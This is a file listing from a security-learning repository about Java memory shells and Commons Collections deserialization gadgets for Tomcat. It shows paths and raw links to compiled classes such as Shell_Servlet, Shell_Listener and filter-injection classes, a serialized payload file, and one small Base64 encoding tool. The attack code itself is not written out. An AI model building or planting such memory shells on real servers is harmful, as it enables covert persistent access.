https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/lib/javax.servlet-api-4.0.1.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/classes/Hello_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/classes/Hello_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/classes/Listener/Hello_Listener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/classes/Listener/Hello_Listener.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/classes/Listener/Shell_Listener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/classes/Listener/Shell_Listener.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/src/main/java/Tools/Base64_Class.java:
--------------------------------------------------------------------------------
1 | package Tools;
2 |
3 | import java.io.IOException;
4 | import java.nio.file.Files;
5 | import java.nio.file.Paths;
6 | import java.util.Base64;
7 |
8 | public class Base64_Class {
9 | public static void main(String[] args) throws IOException {
10 | byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("ser.bin")));
11 | System.out.println(new String(data).length());
12 | System.out.println(new String(data));
13 | }
14 |
15 | }
16 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_65
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Gadget/CC3_2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Gadget/CC3_2.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_Response.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_Response.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tools/Base64_Class.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tools/Base64_Class.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Unserial_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Unserial_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/commons-collections-3.2.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/commons-collections-3.2.1.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/javax.servlet-api-4.0.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/javax.servlet-api-4.0.1.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-catalina-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-catalina-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-coyote-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-coyote-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-el-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-el-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jni-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jni-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-juli-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-juli-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-scan-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-scan-9.0.55.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/classes/Gadget/CC3_2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Gadget/CC3_2.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/classes/Tools/Base64_Class.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Tools/Base64_Class.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Serialize/target/classes/Unserial_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Unserial_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet.war
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_65
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Config_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Config_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Context_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Context_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/MyServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/MyServlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Shell_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Shell_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/lib/javax.servlet-api-4.0.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/lib/javax.servlet-api-4.0.1.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Config_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Config_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Context_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Context_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/classes/Servlet/MyServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/MyServlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Shell_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Shell_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/out/artifacts/Java_Agent_jar/Java_Agent.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/out/artifacts/Java_Agent_jar/Java_Agent.jar
--------------------------------------------------------------------------------
/Java_memShell/out/artifacts/Java_Hello_jar/Java_Agent.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/out/artifacts/Java_Hello_jar/Java_Agent.jar
--------------------------------------------------------------------------------
/Java_memShell/out/artifacts/Java_Hello_jar/Java_Hello.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/out/artifacts/Java_Hello_jar/Java_Hello.jar
--------------------------------------------------------------------------------
/Java_memShell/ser.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/ser.bin
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Security_Learning
2 |
3 | 学习安全时备份的一些代码
4 |
--------------------------------------------------------------------------------